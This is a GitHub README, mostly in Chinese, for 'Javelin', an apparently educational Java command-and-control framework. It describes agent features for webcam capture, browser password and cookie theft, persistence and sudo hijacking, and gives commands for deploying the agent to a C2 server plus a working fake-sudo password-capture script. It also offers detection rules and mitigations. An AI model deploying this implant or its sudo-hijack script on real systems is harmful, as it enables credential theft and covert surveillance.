0xjaopdc/javelin-framework

GitHub: 0xjaopdc/javelin-framework

基于Java 21的教育级C2命令控制框架,用于网络安全培训、红队演练和蓝队防御教育,提供完整的攻击链模拟能力。

Stars: 0 | Forks: 0

# 🎯 JAVELIN - 教育安全框架 一个基于 Java 的**教育安全框架**,专为**网络安全培训**、**安全研究**和**防御安全教育**设计。功能全面的**移动优先 C2 界面**可通过直观的触摸优化控制面板访问所有 11 个攻击模块。在受控的学术环境中展示安全概念和攻击技术。 [![Java](https://img.shields.io/badge/java-21-blue)](https://openjdk.org/projects/jdk/21/) [![License](https://img.shields.io/badge/license-MIT+Educational-green)](./LICENSE) [![Educational](https://img.shields.io/badge/purpose-educational-orange)](#) [![Security](https://img.shields.io/badge/focus-defensive-blue)](#) [![Platform](https://img.shields.io/badge/platform-cross--platform-brightgreen)](#)

🚀 快速开始🎓 教育用途📚 文档🎮 使用场景🛡️ 检测⚖️ 道德规范

## 🎓 教育目标 - **安全架构培训**:了解远程访问模式和行为分析 - **事件响应练习**:使用真实安全场景培训 SOC 分析师 - **红队教育**:学习后渗透技术以进行防御准备 - **蓝队防御**:开发检测签名和缓解策略 - **安全意识**:在受控环境中了解真实世界安全威胁 ## 🏗️ 架构概述 ``` ┌─────────────────────┐ HTTPS Polling ┌─────────────────────┐ │ JAVELIN AGENT │ ──────────────────────────▶ │ C2 SERVER │ │ (Target System) │ ◀────── Task Distribution ── │ (Operator Panel) │ └─────────────────────┘ └─────────────────────┘ │ │ ▼ ▼ ┌─────────────────────┐ ┌─────────────────────┐ │ System Access │ │ Mobile Web UI │ │ • Command Shell │ │ • Agent Management │ │ • File Operations │ │ • Real-time Control │ │ • Screenshots │ │ • Task Monitoring │ │ • Webcam Capture │ │ • Results Viewer │ │ • Credential Theft │ └─────────────────────┘ │ • Process Control │ │ • Privilege Escal. │ └─────────────────────┘ ``` ### 核心组件 1. **Agent(目标端)** - 基于 Java 的植入程序,支持多平台 - 带有抖动和重试逻辑的 HTTP(S) 信标 - 模块化任务执行框架 - 本地权限提升能力 2. **C2 服务器(操作端)** - 基于 Javalin 的 Web 服务器,带有 REST API - SQLite 数据库用于持久化 - 移动优先响应式 Web 界面 - 实时 Agent 管理和控制 3. **通信协议** - 基于 JSON 的任务/响应格式 - Base64 编码用于二进制数据 - 可配置的信标间隔 - 错误处理和重试机制 ## 🔧 Agent 能力 ### **核心远程访问** - **交互式 Shell**:带会话状态的持久命令执行 - **文件操作**:读取、写入、列出、删除系统文件 - **屏幕截图捕获**:使用多种备用方法的桌面截图 - **摄像头访问**:通过系统摄像头设备拍照 - **进程管理**:列出、监控和终止正在运行的进程 ### **高级功能** - **凭证收集**: - 通过 PATH 操作拦截 sudo 密码 - 浏览器密码提取(Chrome/Firefox 数据库) - SSH 密钥和配置文件收集 - **权限提升**: - 自动 sudo 密码注入 - SUID 二进制枚举 - 内核漏洞利用建议框架 - **持久化机制**: - Cron 任务安装 - Systemd 服务创建 - 用户登录脚本修改 ### **任务类型(已实现 13 个)** | 任务 | 功能 | 教育价值 | | ----------------- | ----------------------- | -------------------------------- | | `sysinfo` | 系统枚举 | 信息收集技术 | | `shell` | 命令执行 | 后渗透控制 | | `shell_session` | 交互式 Shell | 持久访问方法 | | `sudo` | 权限提升 | 凭证窃取演示 | | `screenshot` | 桌面捕获 | 视觉监控能力 | | `webcam` | 摄像头捕获 | 物理监控方法 | | `file` | 文件操作 | 数据泄露模拟 | | `process` | 进程管理 | 系统操作技术 | | `browser` | 浏览器数据提取 | 凭证收集方法 | | `credential` | SSH/配置收集 | 高级持久化技术 | | `persistence` | 后门安装 | 维持访问方法 | ## 📱 移动 C2 界面 移动优先的操作界面提供全面的触摸优化控制,可访问所有 Agent 能力: ### **终端界面** - 带有命令历史的全屏终端 - 带发送按钮的触摸友好输入 - 带自动滚动的实时输出流 - 针对移动设备优化的响应式排版 ### **快捷操作栏** - **📊 系统信息**:完整的硬件、操作系统和网络侦察 - **📸 屏幕截图**:带全屏移动查看器的桌面捕获 - **📂 文件浏览器**:浏览文件系统并读取敏感文件 - **⚙️ 设置**:全面的攻击和持久化控制面板 ### **高级攻击能力** 通过**设置**面板访问,按类别分组攻击模块: #### **🔐 权限提升** - 基于密码的 sudo 执行,带凭证存储 - **安装劫持**:基于 PATH 的 sudo 拦截用于密码窃取 - **查看捕获**:实时显示窃取的 sudo 凭证 #### **🔑 凭证收集** - **提取 SSH 密钥**:收集私钥并分析加密方式 - **AWS 凭证**:收集云服务认证令牌 - **Git 配置**:提取仓库访问令牌和配置 - **全部收集**:从所有来源综合收集凭证 #### **🌐 浏览器数据提取** - **窃取密码**:从 Chrome/Firefox 数据库提取保存的密码 - **提取 Cookie**:收集认证 Cookie 用于会话劫持 - **浏览历史**:收集浏览模式用于侦察 - **提取全部**:完整的浏览器数据泄露包 #### **🎯 持久化与后门** - **安装 Cron 任务**:基于计划任务的持久化机制 - **Systemd 服务**:启动时服务安装以获得永久访问 - **Shell 配置**:在用户 Shell 配置文件中注入后门 - **列出方法**:枚举可用的持久化技术 #### **💻 会话与进程控制** - **启动/停止会话**:持久化 Shell 会话管理 - **列出进程**:系统进程枚举和分析 - **进程注入**:高级进程操作能力 - **状态监控**:实时会话和 Agent 健康状况跟踪 #### **📷 监控操作** - **拍照**:用于物理监控的摄像头访问 - **桌面截图**:带移动优化查看器的视觉监控 ### **Agent 管理** - 带可视化状态指示器的多 Agent 选择 - 实时连接状态监控(在线/最近/离线) - Agent 元数据显示,包括操作系统、Java 版本和能力 - 带连接健康指标的触摸友好 Agent 切换 ## 🚀 快速开始 ### 前置条件 - **Java 21+**(OpenJDK 或 Oracle JDK) - **Gradle 8.x**(或使用包装器) - **网络连接**在 Agent 和 C2 之间 ### 1. 构建框架 ``` # 克隆仓库 git clone https://github.com/yourusername/javelin.git cd javelin # 构建所有组件 ./gradlew build # 生成 fat JAR ./gradlew shadowJar ``` ### 2. 启动 C2 服务器 ``` # 启用教育模式并启动服务器 export JAVELIN_LAB_ACK=1 java -jar server/build/libs/javelin-server.jar # 服务器启动于 http://0.0.0.0:7878 # 移动界面:http://your-ip:7878 # 默认认证令牌:demo-token ``` ### 3. 部署 Agent ``` # 配置代理连接 export JAVELIN_LAB_ACK=1 export JAVELIN_SERVER_URL=http://your-c2-server:7878 export JAVELIN_AUTH_TOKEN=demo-token # 启动代理(教育模式) java -jar agent/build/libs/javelin-agent.jar ``` ### 4. 一键演示 ``` # 自动构建、启动服务器、创建隧道、启动代理 ./demo.sh ``` ## 🎮 使用场景 ### **红队演练** ``` # 模拟社会工程投递 # 代理通过USB丢弃、邮件附件或水坑部署 # 事后利用工作流程: 1. Establish C2 connection 2. Gather system intelligence 3. Escalate privileges (sudo hijacking) 4. Extract credentials (browser passwords, SSH keys) 5. Maintain persistence (cron jobs) 6. Lateral movement preparation ``` ### **蓝队培训** ``` # 检测机会: - Unusual Java processes with network connections - HTTP beaconing traffic patterns - Suspicious file access patterns - New cron jobs or systemd services - Modified PATH variables - Fake sudo scripts in /tmp # 事件响应练习: - Network traffic analysis - Process forensics - File system artifacts - Memory analysis of JVM ``` ### **恶意软件分析工作坊** ``` # 逆向工程练习: 1. Static analysis of JAR files 2. Dynamic analysis with debuggers 3. Network protocol reverse engineering 4. Behavioral analysis in sandbox 5. Signature development for detection ``` ## 🛡️ 检测与缓解 ### 网络指标 ``` # Suricata 规则示例 alert http any any -> any any ( msg:"Possible Javelin RAT C2 Communication"; content:"User-Agent: Java/21.0"; http_user_agent; content:"application/json"; http_header; classtype:trojan-activity; sid:1000001; ) ``` ### 主机指标 ``` # 进程检测 ps aux | grep "java.*javelin\|java.*agent" # 网络连接 netstat -tulpn | grep java # 文件痕迹 find /tmp -name "sudo" -type f 2>/dev/null ls -la ~/.sudo_harvest 2>/dev/null # Cron 任务检查 crontab -l | grep -v "^#" ``` ### 缓解策略 1. **网络安全** - HTTP 流量检查和过滤 - DNS 监控可疑域名 - 非标准端口的出口过滤 2. **端点安全** - 应用程序白名单(阻止未经授权的 Java) - 权限提升的行为监控 - 系统文件的完整性监控 3. **用户教育** - 社会工程意识培训 - USB 设备使用策略 - 邮件附件扫描 ## 🔬 技术深入分析 ### Agent 架构 ``` // Core agent bootstrap public class Main { public static void main(String[] args) { // Educational safeguard if (!isLabEnvironment()) { showEducationalWarning(); System.exit(1); } // Initialize agent ClientLoop client = new ClientLoop(); client.start(); } } ``` ### 通信协议 #### Agent 注册 ``` { "type": "beacon", "agentId": "jaopd-LAPTOP-ABC123-java21", "hostname": "jaopd-laptop", "username": "jaopd", "os": "Linux 6.1.0", "capabilities": ["shell", "screenshot", "webcam", "files"] } ``` #### 任务分发 ``` { "taskId": "uuid-1234-5678", "type": "shell", "params": { "command": "whoami" }, "timeout": 30000 } ``` ### 权限提升技术 #### Sudo 劫持实现 ``` # 在用户 PATH 中创建伪造的 sudo echo '#!/bin/bash echo "[sudo] password for $USER:" read -s password echo "$USER:$password:$(date)" >> ~/.sudo_harvest /usr/bin/sudo "$@"' > /tmp/sudo chmod +x /tmp/sudo export PATH="/tmp:$PATH" ``` ## 🧪 教育练习 ### **练习 1:初始访问模拟** 1. 通过社会工程向量部署 Agent 2. 建立 C2 连接 3. 收集初始系统情报 4. 记录检测机会 ### **练习 2:权限提升** 1. 使用 sudo 劫持技术 2. 捕获明文凭证 3. 分析凭证存储安全性 4. 实施检测机制 ### **练习 3:数据泄露** 1. 提取浏览器密码和 SSH 密钥 2. 捕获屏幕截图和摄像头照片 3. 暂存敏感文件以下载 4. 网络流量模式 ### **练习 4:持久化与规避** 1. 安装 cron 任务持久化 2. 实现进程名称欺骗 3. 清除系统日志和痕迹 4. 测试检测规避技术 ## ⚖️ 法律与道德考量 ### **仅供教育使用** 此框架**专为教育目的设计**: - ✅ 在您自己的系统上进行授权测试 - ✅ 在受控环境中的学术研究 - ✅ 有适当授权的红队演练 - ✅ 用于防御的恶意软件分析培训 ### **⛔ 严格禁止的使用** - ❌ **未经授权的计算机访问** - 违反 CFAA 和国际网络犯罪法 - ❌ **企业间谍活动**或竞争情报收集 - ❌ **个人骚扰**、跟踪或隐私侵犯 - ❌ **金融欺诈**、身份盗窃或金钱犯罪 - ❌ **生产环境部署**没有明确的教育授权 - ❌ **任何非法活动**,由当地、联邦或国际法律定义 ### **已实施的安全措施** - **需要教育模式**:`JAVELIN_LAB_ACK=1` 环境变量 - **警告消息**:明确的教育目的通知 - **有限范围**:专为单系统测试设计 - **源代码可用性**:开源以供透明度和审查 ## 📚 教育资源 ### **推荐阅读** - 《内存取证的艺术》- Volatility Labs - 《实用恶意软件分析》- Sikorski & Honig - 《红队实战手册》- Ben Clark - 《蓝队实战手册》- Alan White ### **相关框架** - **Metasploit**:商业级漏洞利用框架 - **Cobalt Strike**:专业对手模拟 - **Empire**:PowerShell 后渗透框架 - **Covenant**:.NET 命令和控制框架 ### **检测工具** - **YARA**:恶意软件签名引擎 - **Suricata/Snort**:网络入侵检测 - **OSSEC**:主机入侵检测 - **Volatility**:内存取证框架 ## 📚 文档中心
## 🤝 贡献 ### **贡献指南** 我们欢迎能够增强此框架**教育价值**的贡献: 1. **错误修复**:安全漏洞、稳定性问题 2. **文档**:教育内容、技术解释 3. **检测签名**:YARA 规则、网络签名 4. **蓝队工具**:检测和分析工具 5. **教育练习**:新的培训场景和实验 ### **开发环境设置** ``` # 开发环境 git clone https://github.com/yourusername/javelin.git cd javelin # 安装开发依赖 ./gradlew build # 运行测试 ./gradlew test # 代码格式化 ./gradlew spotlessApply ``` ### **拉取请求流程** 1. Fork 仓库 2. 创建功能分支(`git checkout -b feature/educational-enhancement`) 3. 提交更改并附上清晰描述 4. 包含教育价值说明 5. 提交拉取请求并附上详细测试说明 ## 📞 支持与联系 ### **教育支持** - **文档**:查看 [docs/](docs/) 目录获取详细指南 - **问题**:通过 GitHub Issues 报告错误或请求教育功能 - **讨论**:在 GitHub Discussions 中加入教育安全讨论 ### **负责任的披露** - **安全漏洞**:security@javelin-framework.edu - **教育反馈**:education@javelin-framework.edu ## 🏆 致谢 ### **教育机构** - 使用此框架的大学网络安全项目 - 安全培训组织和训练营 - 恶意软件分析的学术研究人员 ### **安全社区** - OWASP 社区推动安全教育 - SANS 学院渗透测试方法论 - 贡献检测签名的网络安全专业人员 ### **开源项目** - **Javalin**:轻量级 Java Web 框架 - **Gradle**:构建自动化和依赖管理 - **Jackson**:Java JSON 处理 **⚠️ 记住:能力越大,责任越大。用这些知识来保护,而不是伤害。** ## 📋 快速参考 ### **构建命令** ``` ./gradlew build # Build all modules ./gradlew shadowJar # Create fat JARs ./gradlew test # Run tests ./gradlew clean # Clean build artifacts ``` ### **运行时命令** ``` # 服务器 export JAVELIN_LAB_ACK=1 java -jar server/build/libs/javelin-server.jar # 代理 export JAVELIN_LAB_ACK=1 export JAVELIN_SERVER_URL=http://your-server:7878 export JAVELIN_AUTH_TOKEN=demo-token java -jar agent/build/libs/javelin-agent.jar ``` ### **配置** - **服务器端口**:`JAVELIN_PORT`(默认:7878) - **认证令牌**:`JAVELIN_AUTH_TOKEN`(默认:demo-token) - **信标间隔**:5s + 抖动(0-2s) - **命令超时**:默认 30s *Javelin 框架 - 教育网络安全研究项目* *为网络安全教育社区构建 ❤️*
标签:AMSI绕过, C2框架, DNS 反向解析, Homebrew安装, HTTP工具, IP 地址批量处理, Java 21, PE 加载器, SOC培训, 后台面板检测, 命令控制, 域名枚举, 威胁检测, 安全学习资源, 安全教育框架, 审计日志, 攻击技术演示, 攻击模拟, 数据采集, 无线安全, 混合加密, 漏洞修复, 移动应用开发, 网络安全培训, 网络安全审计, 蓝队防御, 防御性安全, 驱动签名利用